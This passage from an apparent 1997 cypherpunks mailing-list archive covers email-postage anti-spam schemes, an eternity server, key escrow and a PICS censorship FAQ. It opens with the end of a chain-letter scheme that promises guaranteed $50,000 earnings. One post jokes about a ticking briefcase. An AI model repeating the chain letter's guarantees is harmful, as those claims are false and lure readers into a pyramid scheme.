The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple of
weeks later you should receive at least 100 orders for REPORT #2, if you
don't, send out more programs until you do.  Once you have received 100 or
more orders for REPORT #2, (take a deep breath) you can sit back and  relax,
because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000. Mathematically  it
is  a  proven  guarantee.   Of  those  who  have participated in the program
and reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also,
remember, every time your name is moved down the list you are in front of a
different REPORT, so you can keep track of your program by knowing what
people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 08:41:59 +0800
To: bpettigrew@usa.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <ww01-BHBXRE2923@netaddress.usa.net>
Message-ID: <199708030035.BAA13654@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bubba Pettigrew <bpettigrew@usa.net> writes:
> 
> aba@dcs.ex.ac.uk wrote:
> > OK, lets say we make emails free, unmetered, but they _must_ include 
> > a valid token for 0c.  (OK Dimitri?)
> >
> > Next we choose a threshold say 1000 posts per day.  Seems hard to
> > imagine anyone generating manually over 1000 emails per day.  That's
> > more than 1 per minute for a 10 hour day.
> >
> > Next when you sign up for this new email postage system, you have to
> > hand over a $100 deposit.  The 0c payments are anonymous.  But if 
> > you spend over 1000 of them in one day, your identity becomes known 
> > (via a mechanism like that used for Chaum's off-line double spending
> > detection protocol).  You loose $100.  To you, the spammer, the 
> > posts cost 10c each.  Your account is disabled until you pay another
> > $100.
> 
> How would this work.  The ISP is enforcing these rules?  But the email
> is not anonymous to the ISP.  Or is the email going through a 
> remailer.

The email could be delivered a number of ways, remailer, users ISP,
some other ISP's open access sendmail hub (a lot of systems you can
connect to on the SMTP port and use them as a forwarder.  Some people
use this to do crude forgeries.  Spammers like this kind of trick).

It is the recipient who is enforcing the rules indirectly because, the
recipient cashes the 0c tokens on receipt.  That way the bank gets
back all the spent tokens.

There is a neat protocol that Chaum uses in his off-line ecash
protocol which allows you to have ecash which is anonymous so long as
you don't spend it twice.  If you spend twice the bank finds out your
identity, and then penalizes you.

This protocol could be extended to have ecash which revealed your
identity if you spent more than 1000 of a given minting.  The bank
would issue a fresh mint of ecoins each day.

> Why not just have an ISP say you can't send more than 1000 emails a
> day.  

Because you can bypass your ISP once you've got PPP or SLIP running.
You can telnet to port 25 (smtp port) on any of millions of open SMTP
ports.  You could send via a remailer.

> But then what stops other ISPs from using different rules to get the
> business of spammers.

Nothing.

It is up to the recipient if he wants to join up with this anti-spam
system.  If he does all email that arrives in his email box without a
0c postage token gets bounced back to the recipient.  (You can have
some fall back so that people without signing up can still get through
to you, don't just do a blind bounce, but bounce with a nonce (random
number), so that they have to reply with that random number in the
mail, and then you'll get it.)

I'm not sure the whole thing is that practical though because of the
sheer number of TCP/IP connections required to do an online banking
protocol for each and every mail.  The bank server would melt down.

So perhaps you could have lots of banks.  The other thing that is
wrong with it is that you have to trust the banks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 09:44:45 +0800
To: platypus@acmeonline.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
Message-ID: <199708030134.CAA13809@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 2 Aug 1997, Adam Back wrote:
> 
> > Next we choose a threshold say 1000 posts per day.  Seems hard to
> > imagine anyone generating manually over 1000 emails per day.  That's
> > more than 1 per minute for a 10 hour day.
> 
> I bet this mailing list generates traffic of that order.  I would not wish
> to see legitimite mailing lists shut down to stop the spam.

The idea is that you would exempt from postage mailing lists and
people you know.

So what happens?  Spammers target mailing lists instead.  Already
happening to some extent.

Then what?  We have to use NoCems for mailing lists, or rating
services, or judicious use of the 'd' key.

> The best soultion given so far is Cause's suggestion of modifying
> the fax law so that we can sue the spammers.

Law, and suing and the internet don't mix.

Eg. Say I spam you via an anonymous remailer.  So now who are you
going to sue?

Spammers use remailers already.

So your suggest has dire consequences for remailers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 09:49:58 +0800
To: cypherpunks@cyberpass.net
Subject: announce: eternity server @ replay
Message-ID: <199708030142.CAA13821@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I've put an eternity server up at:

	http://www.replay.com/aba/eternity/

(Alex de Joode kindly offered me an account for the purpose). 

It's running live off news.xs4all.nl newsfeed.  (replay.com is in .nl
too running off xs4all networks (I think), so it's newsfeed is fast
for replay to access).  It will check for news every 2 mins (if
someone is using it).

It's configured to read alt.anonymous.messages.

It's running eternity-0.05 (+ a few bug fixes which haven't been
packaged to produce 0.06 yet).

For instructions on posting get the latest eternity distribution off
my home page:

	http://www.dcs.ex.ac.uk/~aba/eternity/

It's not that automated yet, you have to make the posts manually,
though it will help you figure out which inline images, and links are
related to a page.  And will offer some assistance in encrypting the
documents and creating the hashes for the URLs, you still have to do a
bit of work, and you have to post the documents yourself also.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 09:51:07 +0800
To: cypherpunks@cyberpass.net
Subject: eternity content suggestions?
Message-ID: <199708030146.CAA13825@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anyone got some ideas for content to stuff on the eternity service?

It looks like there might be a "wired news" article, and it would be
nice to have a few tasty items on-line.

I suspect it might be a better idea to start with the milder stuff,
something which has reasonable popular support which makes governments
look stupid for trying to censor.

Things like:

	- memoirs of dead french presidents doctor
	- radikal

Other ideas?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Sun, 3 Aug 1997 16:37:35 +0800
To: cypherpunks@toad.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708021921.UAA06401@server.test.net>
Message-ID: <3.0.2.32.19970803032004.00818890@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:32 AM 8/3/97 +1000, ? the Platypus {aka David Formosa} wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Sat, 2 Aug 1997, Adam Back wrote:
>
>> Next we choose a threshold say 1000 posts per day.  Seems hard to
>> imagine anyone generating manually over 1000 emails per day.  That's
>> more than 1 per minute for a 10 hour day.
>
>I bet this mailing list generates traffic of that order.  I would not wish
>to see legitimite mailing lists shut down to stop the spam.
>
>The best soultion given so far is Cause's suggestion of modifying the fax
>law so that we can sue the spammers.
>
Take bugtraq which has over 12,000 subscribers. Each post to bugtraq would
send out 12,000 emails so it would cost aleph one 1200$ per post to his
list. I dont think anyone would want to run a mailing list under these
sorts of conditions. Or say you run a normaly small mailing list with only
a few subscribers. One evil person could send just a few hundred emails to
you cost you money. The same goes for anon emails. Anyone not wanting to
take the chance of ending up spending $100 or more at the whim of any 14
year old with a copy of upyours or not wanting to have to pay for providing
a free public service would simply give up and shut down his mailinglist.

   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Sun, 3 Aug 1997 10:25:53 +0800
To: dlv@bwalk.dm.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
Message-ID: <199708030213.EAA12948@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym 
"Dr. Dmitri Vulis, KOTM <dlv@bwalk.dm.com>" typed:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > In <199707311120.MAA00669@server.test.net>, on 07/31/97
> >    at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
> >
> > >Another longer term way to improve the situation is to charge some small
> > >token amount per article, just to encourage people to use it with some
> > >intelligence (use cross posts rather than separately reposting to each
> > >group).
> >
> > This will not work!!!
> >
> > Charging for e-mail/news posts will no nothing to prevent spam and more
> > than likely increase the noise on such lists. It is the spamers who have
> > the money to post volumns of their crap. Allso I think you will find that
> > it will be the fanatics who will think it worth the $$$ to get their
> > message out.
> 
> In all fairness, it would decrease the "spam" because some spammers are
> certain to be unwilling to pay for braodcasting the kind of crap they
> now broadcast for a flat fee. However it would not eliminate the "spam"
> and it would damped the "signal" more than it would damped the "noise".


You guys are all forgetting the second part of the protocol-- 
receiver receives message, reads it and decides whether he 
wants to receive more mail like this one from this sender.  If
so, receiver sends the token back.


It's called "good faith deposit".


--Z





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 08:50:10 +0800
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708021921.UAA06401@server.test.net>
Message-ID: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Adam Back wrote:

> Next we choose a threshold say 1000 posts per day.  Seems hard to
> imagine anyone generating manually over 1000 emails per day.  That's
> more than 1 per minute for a 10 hour day.

I bet this mailing list generates traffic of that order.  I would not wish
to see legitimite mailing lists shut down to stop the spam.

The best soultion given so far is Cause's suggestion of modifying the fax
law so that we can sue the spammers.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
Charset: noconv

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J6azAQ87dZuxMFqLuYrQ2eqq/701HNjhJdp8RcSfGEyPp4hx2wu7WwnKqCiX9HW/
7HRxJ6wkzc53DToKk6OmQp8heDJ45eFzqwVwaaItwe3P8BpN2szQiO/HXXBXDWYd
qsoP/J/GWI8=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 3 Aug 1997 20:17:47 +0800
To: cypherpunks@toad.com
Subject: CIA Report on UFOs
Message-ID: <1.5.4.32.19970803115839.00694808@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times reports today on a declassified
CIA report on UFOs which discloses that over half
of the public sightings in the 1950s and '60s were lied 
about by the US Government to protect dark secret spy 
planes and programs, primarily those of the U-2 and 
SR-71. "The admission raised questions about other 
Federal cover-ups involving U.F.O.s."

The CIA report is at:

   http://www.odci.gov/csi/studies/97unclas/ufo.html

For those who wish to avoid the CIA Web site, we put a copy at:

   http://jyx.com/ciaufo.htm

The NYT Web site:

   http://www.nytimes.com

In you cannot access it, see the story at:

   http://jyx.com/ufonews.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 15:09:29 +0800
To: cypherpunks@toad.com
Subject: Re: Duncan Long on Cypherpunks and Guns
Message-ID: <199708030657.IAA25280@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> While looking through Duncan Long's Web pages on survivalism, guns, and
> such, I found this interesting mention of Cypherpunks.
> This particular article is at: http://www.prairienet.org/guns/dlgs/gun3.htm

> --begin excerpt from Duncan Long's article--

> Cypherpunks: Individuals who believe that the government is out to invade
> the privacy of everybody on the planet. The cypherpunk's central
> goal is to out-smart the system. (The encryption program, PGP, is often
> referred to by this group as "the Cypherpunk's best friend").
 
> Ravers: Folks who use synthesized and sampled music, computer-generated
> psychedelic ("cyberdelic") art, and designer drugs to create
> massive all-night dance parties and love-fests in empty warehouses.

  Damn, I'm on the wrong list...

RaveMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 3 Aug 1997 21:54:14 +0800
To: cypherpunks@toad.com
Subject: Banished JYA
Message-ID: <1.5.4.32.19970803133307.006e49b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



From: http://jyx.com/index.htm

JYX

3 August 1997

This site, JYX.COM, was set up on July 26, 1997 to substitute for 
JYA.COM which vanished on July 24, 1997, and thereby denied access 
to the site's architectural and public services. For a week technical 
and sales personnel of the ISP for JYA, AOL/PrimeHost, could not 
explain the disappearance.

On August 1, 1997, AOL/PrimeHost representative Steven Graham 
stated that JYA.COM had been "intentionally pulled" for undisclosed 
reasons. Mr. Graham's telephone: (703) 265-4464.
 
Reinstitution of JYA's architectural and public services should occur 
shortly, either by restart of JYA.COM with PrimeHost, or via another 
ISP. In the event that AOL/PrimeHost pulls JYX as well, announcement 
of alternative hosting and reasons for the change will be made on 
several mail lists:

   <cypherpunks@toad.com> 
   <cryptography@c2.net> 
   <ukcrypto@maillist.ox.ac.uk>
   <cyberia-l@aol.com>
   <design-l@psuvm.psu.edu> 
   <wam-l@arch-mag.com> 
   <the several Spoon lists @jefferson.village.virginia.edu> 
   <wire@monkey-boy.com> 

   and other lists and news groups as appropriate. 

This site is hosted by PrimeHost, which provided excellent service 
for JYA.COM for a year -- until now with this mysterious vanishing 
action.

------------------------------------------------------------------

                       Vanished JYA.COM

Denied Services                     Denied Files (80MB)

Architectural 

   Natsios Young Architect          http://jya.com/nya.htm
   John Young Architect             http://jya.com/jya.htm

Public / Urban Deadline

   Cryptography Archives            http://jya.com/crypto.htm
                                    http://jya.com/cryptomb.htm

   Architectural Archives           http://jya.com/arch.htm

------------------------------------------------------------------

For now offering only: Cryptox.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 16:22:26 +0800
To: cypherpunks@toad.com
Subject: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708030802.KAA01641@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> At 23:46 97/08/01 -0700, Tim May wrote:
> > And why are you helping to write a report that will be the "official
> > position" of the Japanese cops?

> Because, it would be much better to have it say, "we don't want key
> escrow." My position on the study group is much more like making
> a testimony in congress. Unlike the US, once a bill hits the floor,
> it is very hard to participate. I have to participate while it is still
> in the ministry level.

  Tim spends so much time cleaning his guns he sometimes gets a bit
myopic and everything he sees looks like a "target."
  While it is true that the process Joichi Ito is speaking of is still
subject to the failing of those "protesting" becoming bum-buddies with
those they are "protesting against," it is also true that it is more 
like giving opposing Congressional testimony than like joining the
"old boys" at the Whithouse to trade your soul for a few moments of
touching the hem of the King's garment at the seat of power.

> > The JDF is notoriously militaristic. You should reconsider this.

> > And Cypherpunks should be very careful about "advising" an obviously
> > co-opted member of the Japanese military and police establishment.

> Again. If you want to view me as "co-opted" that's fine. Without me,
> you would not have gotten Gilmore, Carl Ellison, or Whit Diffie's voice
> on the record during the study group hearings. Do you think I should
> just sit back and let the KEA's take over?

  It is clearly up to Joichi Ito to decide how he can best work toward
cypherpunk goals under his system of government, but he would do well
to listen to those on the list who have seen more than a few crusaders
sink into the swill when they make the mistake of talking to the piggies
too close to the trough.
  A good sign that you have not yet been co-opted is if you still take
that "extra" briefcase to the meetings, just in case.
{"I've got to run out to my car for a moment with my briefcase, but I
will be leaving my _other_ briefcase here." <tick-tock-tick-tock>}

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 4 Aug 1997 01:21:08 +0800
To: cypherpunks@toad.com
Subject: PICS and intellectual freedom FAQ
Message-ID: <Pine.GSO.3.95.970803100415.13596K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 3 Aug 1997 10:04:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: PICS and intellectual freedom FAQ

[If you care about the debate over self-labeling your web pages -- not to
mention email and Usenet posts -- read this FAQ on PICS. Thanks to Paul
for putting this together. --Declan]


---------- Forwarded message ----------
Date: Sun, 27 Jul 1997 07:36:52 -0400
From: Paul Resnick <presnick@umich.edu>
To: declan@well.com
Cc: lessig@pobox.com
Subject: PICS and Intellectual Freedom FAQ

7/27/97

Declan,

Given the renewed debate about the intellectual freedom implications of
rating and filtering generally, and PICS in particular, your readers may
find my FAQ on the subject enlightening. It introduces a number of useful
distinctions that seem to be missing from some recent discussion (rating
vs. filtering; self-rating vs. third-party rating; local vs. central
setting of filtering rules). There are some legitimate intellectual freedom
concerns with both rating and filtering, but it's important to get beyond
sweeping generalizations.

The URL is http://www.si.umich.edu/~presnick/pics/intfree/FAQ.htm

Paul Resnick
Associate Professor
University of Michigan
School of Information
chair, PICS Interest Group, World Wide Web Consortium

P.S. Please send comments about the FAQ to pics-ask@w3.org. Since I'll be
out of email contact for the next week, however, you should not expect an
immediate response.

---------------

Date: Mon, 28 Jul 97 15:06:10 -0400
From: Larry Lessig <lessig@pobox.com>
To: presnick@umich.edu, declan@well.com
Subject: Re: PICS and Intellectual Freedom FAQ

Hello Declan:

The FAQ is excellent - honest and clear, and it would help move the 
debate along well. As a strong opponent of some aspects of PICS, I hope 
you get a chance to run this.

Let me know if you get to Cambridge, 

-----------------

[I took this from http://www.si.umich.edu/~presnick/pics/intfree/FAQ.htm
-- check out that URL for links and graphics. --Declan]


                 PICS, Censorship, & Intellectual Freedom FAQ
                                       
   Paul Resnick (comments to pics-ask@w3.org)
   
   Draft version 1.12 last revised June 26, 1997
   
                                   Abstract
                                       
   The published articles describing PICS (Communications of the ACM,
   Scientific American) have focused on individual controls over the
   materials that are received on a computer. While those articles also
   mention the possibility of more centralized controls (e.g., by
   employers or governments), they describe only briefly the technical
   details and the intellectual freedom implications of such centralized
   controls. The civil liberties community has raised some alarms about
   those intellectual freedom implications. The goals for this Frequently
   Asked Questions (FAQ) document are to:
     * Clarify some technical questions about individual and centralized
       content controls based on PICS.
     * Argue that the net impact of PICS will be to shift government
       policies away from centralized controls and toward individual
       controls, although this impact may be visible only at the margins.
     * Describe how the World Wide Web Consortium (W3C) presents PICS in
       the public policy arena.
       
                                  Background
                                       
   In 1995, policies were proposed in several countries, including the
   USA, to restrict the distribution of certain kinds of material over
   the Internet. In many but not all cases, protection of children was
   the stated goal for such policies (see, for example, CIEC: Citizens
   Internet Empowerment Coalition).
   
   The focus on restricting inappropriate materials at their source is
   not well suited to the international nature of the Internet, where an
   information source may be in a different legal jurisdiction than the
   recipient. Moreover, materials may be legal and appropriate for some
   recipients but not others, so that any decision about whether to block
   at the source will be incorrect for some audiences.
   
   PICS, the Platform for Internet Content Selection, is a set of
   technical specifications that facilitate recipient-centered controls
   on Internet content, rather than sender-centered controls. The
   following diagram illustrates recipient-centered controls:
   
   [INLINE]
   
   Filtering software sits between a child (or any Internet user) and the
   available content. It allows access to some materials, and blocks
   access to other materials. Some filtering software directly analyzes
   content, typically looking for particular keywords. This FAQ, however,
   does not deal with that kind of software; it deals, instead, with
   filtering software that decides what to allow and what to block based
   on two information sources.
     * The first source is a set of descriptive labels that are
       associated with the materials. Those labels may be provided by
       information publishers who describe their own work, or may be
       provided by independent reviewers. A single document may have
       several labels associated with it.
     * The second information source the filter uses is a set of
       filtering rules, which say what kinds of labels to pay attention
       to, and what particular values in the labels indicate acceptable
       or unacceptable materials.
       
   PICS was not the first technology based on the idea of
   recipient-centered controls. For example, SurfWatch was already on the
   market in the summer of 1995 when PICS development began. It is based
   on a particularly simple set of labels: a list of URLs to avoid. As
   another example, some firewalls that corporations had introduced for
   security purposes blocked access to certain IP addresses. PICS
   provides a set of technical specifications so that pieces of the
   picture could be provided by different entities, yet still work
   together.
   
   The first and most important distinction that PICS introduced is a
   separation between labeling and filtering. A label describes the
   content of something. A filter makes the content inaccessible to some
   audience. While both labeling and filtering may introduce social
   concerns, the concerns are somewhat different. More generally, there
   are six roles that could all be filled by different entities:
    1. Set labeling vocabulary and criteria for assigning labels
    2. Assign labels
    3. Distribute labels
    4. Write filtering software
    5. Set filtering criteria
    6. Install/run filtering software
       
   PICS itself actually fills none of the six roles listed above! PICS is
   a set of technical specifications that makes it possible for these
   roles to be played by independent entities.
   
   For example, RSACi and SafeSurf have each defined labeling vocabulary
   and criteria for rating. They each wrote down a vocabulary in a
   machine-readable format that PICS specifies. RSACi has four categories
   in its vocabulary, language, nudity, sex, and violence; SafeSurf has
   more categories. Because they write down their vocabularies in the
   PICS format, label distribution software (e.g., from IBM and Net
   Shepherd) and filtering software (e.g., from Microsoft, IBM, and
   others) can process labels based on those vocabularies. Even though
   RSACi and SafeSurf have each specified a labeling vocabulary and
   criteria for assigning labels, neither of them actually assigns
   labels: they leave it up to the authors of documents to apply to
   criteria to their own documents, or self-label as PICS documents call
   it. Other services, such as CyberPatrol and Net Shepherd, take on both
   of the first two roles, choosing the labeling vocabulary and employing
   people to actually assign labels.
   
                             Questions and Answers
                                       
                               What PICS Enables
                                       
  Can PICS be used for more than just content filtering?
  
   Yes. While the motivation for PICS was concern over children accessing
   inappropriate materials, it is a general "meta-data" system, meaning
   that labels can provide any kind of descriptive information about
   Internet materials. For example, a labeling vocabulary could indicate
   the literary quality of an item rather than its appropriateness for
   children. Most immediately, PICS labels could help in finding
   particularly desirable materials (see, for example, NetShepherd's
   label-informed Alta Vista search), and this is the main motivation for
   the ongoing work on a next generation label format that can include
   arbitrary text strings. More generally, the W3C is working to extend
   Web meta-data capabilities generally and is applying them specifically
   in the following projects:
   
   Digital Signature Project
          coupling the ability to make assertions with a cryptographic
          signature block that ensures integrity and authenticity.
          
   Intellectual Property Rights Management
          using a meta-data system to label Web resources with respect to
          their authors, owners, and rights management information.
          
   Privacy (P3)
          using a meta-data system to allow sites to make assertions
          about their privacy practices, and for users to express their
          preferences for the type of interaction they want to have with
          those sites.
          
   Regardless of content control, meta-data systems such as PICS are
   going to be an important part of the Web, because they enable more
   sophisticated commerce (build and manage trust relationships),
   communication, indexing, and searching services.
   
     "The promise of digital commerce is that it will allow you to use
     the Internet to purchase the services of the best organic gardening
     advisors or mad cow disease specialists, whether they live in Santa
     Clara or Timbuktu. To do this, you need to do more than verify that
     the person at the other end of the wire is who he says he is. You
     need to assess competence, reliability, judgment. In other words,
     you need a system of branding, but applied much more widely for
     highly specialized and hard-to-evaluate services and products. You
     need value-added services that will not only lead you to the right
     product or service but also rate its quality or otherwise vouch for
     it."
     
     Francis Fukayama
     
     (Forbes ASAP 12/96 p 69)
     
  Does PICS enable censorship?
  
   This seemingly straightforward question, upon closer inspection, turns
   out to be many different questions when asked by different people.
   Many people are concerned about governments assuming one or more of
   the roles described in the answer to the previous question. Others are
   concerned about employers setting filtering rules, abuse of power by
   independent labelers, or a chilling effect on speech even if speech is
   not banned outright. People also employ different definitions of
   censorship. The most expansive definition is, "any action by one
   person that makes otherwise available information unavailable to
   another person." Under this expansive definition, even a parent
   setting filtering rules for a child would count as censorship. PICS
   documents have adopted the more restrictive definition of censorship
   as actions that limit what an individual can distribute, and use the
   term "access controls" for restrictions on what individuals can
   receive. But the distinction blurs if a central authority restricts
   access for a set of people. Finally, people have different definitions
   of "enable." Some would say that PICS enables any application that
   uses PICS-compatible components, while we reserve the term "enables"
   for applications that can easily be implemented with PICS-compatible
   components but could not be easily implemented otherwise.
   
   Given the variety of implicit questions, it doesn't make sense to
   provide a blanket answer to the question of whether PICS enables
   censorship. This FAQ answers many of the specific questions that
   people often mean when they ask the more general question. For
   example, we ask questions about whether PICS makes it easier or harder
   for governments to impose labeling and filtering requirements. If you
   believe there's another specific question that should be addressed,
   please send it to pics-ask@w3.org, for possible inclusion in a later
   version.
   
  Could governments encourage or impose receiver-based controls? Does PICS make
  it easier or harder for governments to do so?
  
   Yes. A government could try to assume any or all of the six roles
   described above, although some controls might be harder than others to
   enforce. As described below, governments could assume some of these
   roles even without PICS, while other roles would be harder to assume
   if PICS had not been introduced. It's important to note that W3C does
   not endorse any particular government policy. The purpose of this FAQ
   is to explain the range of potential policies and to explore some of
   the impacts of those policies on both the climate of intellectual
   freedom and the technical infrastructure of the World Wide Web.
   Potential government policies:
    1. Set labeling vocabulary and criteria. A government could impose a
       labeling vocabulary and require all publishers (in the
       government's jurisdiction) to label their own materials according
       to that vocabulary. Alternatively, a government might try to
       achieve the same effect by encouraging an industry self-policing
       organization to choose a vocabulary and require subscribers to
       label their own materials. Civil liberties advocates in Australia
       are especially concerned about this (see The Net Labeling
       Delusion). PICS makes it somewhat easier for a government to
       impose a self-labeling requirement: without PICS, a government
       would have to specify a technical format for the labels, in
       addition to specifying the vocabulary and criteria, and there
       might not be any filtering software available that could easily
       process such labels.
    2. Assign labels. A government could assign labels to materials that
       are illegal or harmful. This option is most likely to be combined
       with government requirements that such materials be filtered (see
       #5 below) but it need not be; a government could merely provide
       such labels as an advisory service to consumers, who would be free
       to set their own rules, or ignore the labels entirely. If a
       government merely wants to label, and not impose any filtering
       criteria, then PICS again provides some assistance because it
       enables a separation of labeling from filtering. On the other
       hand, a government that wishes to require filtering of items it
       labels as illegal gets little benefit from PICS as compared to
       prior technologies, as discussed below in the question about
       national firewalls.
    3. Distribute labels. A government could operate or finance operation
       of a Web server to distribute labels (a PICS label bureau); the
       labels themselves might be provided by authors or independent
       third parties. Taken on its own, this would actually contribute to
       freedom of expression, since it would make it easier for
       independent organizations to express their opinions (in the form
       of labels) and make those opinions heard. Consumers would be free
       to ignore any labels they disagreed with. Again, since PICS
       separates labeling from filtering, it enables a government to
       assist in label distribution without necessarily imposing filters.
       If combined with mandatory filtering, however, a
       government-operated or financed label bureau could contribute to
       restrictions on intellectual freedom.
    4. Write filtering software. It's unlikely that a government would
       write filtering software rather than buying it; the supplier of
       filtering software probably has little impact on intellectual
       freedom.
    5. Set filtering criteria. A government could try to impose filtering
       criteria in several ways, including government-operated proxy
       servers (a national intranet), mandatory filtering by service
       providers or public institutions (e.g., schools and libraries), or
       liability for possession of materials that have been labeled a
       particular way. In some ways, by enabling independent entities to
       take on all the other roles, PICS highlights this as the primary
       political battleground. Each national and local jurisdiction will
       rely on its political and legal process to answer difficult policy
       questions: Should there be any government-imposed controls on what
       can be received in private or public spaces? If so, what should
       those controls be? Most kinds of mandatory filters could be
       implemented without PICS. One potential policy, however, mandatory
       filtering based on labels provided by non-government sources,
       would have been difficult to impose without PICS.
    6. Install/run filters. A Government could require that filtering
       software be made available to consumers, without mandating any
       filtering rules. For example, a government could require that all
       Internet Service Providers make filtering software available to
       its customers, or that all PC browsers or operating systems
       include such software. Absent PICS, governments could have imposed
       such requirements anyway, since proprietary products such as
       SurfWatch and NetNanny are available.
       
  Since PICS makes it easier to implement various kinds of controls, should we
  expect there to be more such controls overall?
  
   Yes; all other things being equal, when the price of something drops,
   more of it will be consumed.
   
  Does PICS encourage individual controls rather than government controls?
  
   Yes; for example, a national proxy-server/firewall combination that
   blocks access to a government-provided list of prohibited sites does
   not depend on interoperability of labels and filters provided by
   different organizations. While such a setup could use PICS-compatible
   technology, a proprietary technology provided by a single vendor would
   be just as effective. Other controls, based on individual or local
   choices, benefit more from mixing and matching filtering software and
   labels that come from different sources, which PICS enables. Thus,
   there should be some substitution of individual or local controls for
   centralized controls, although it is not obvious how strong this
   substitution effect will be. In both Europe and Australia initial
   calls for centralized controls gave way to government reports calling
   for greater reliance on individual recipient controls; the end results
   of these political processes, however, are yet to be determined.
   
                                   Labeling
                                       
  Does it matter whether labels are applied to IP addresses or to URLs?
  
   An IP address identifies the location of a computer on the Internet. A
   URL identifies the location of a document. To simplify a little, a URL
   has the form http://<domain-name>/<filename>. A web browser first
   resolves (translates) the domain-name into an IP address. It then
   contacts the computer at that address and asks it to send the
   particular filename. Thus, a label that applies to an IP address is a
   very broad label: it applies to every document that can be retrieved
   from that machine. Labeling of URLs permits more flexibility:
   different documents or directories of documents can be given different
   labels.
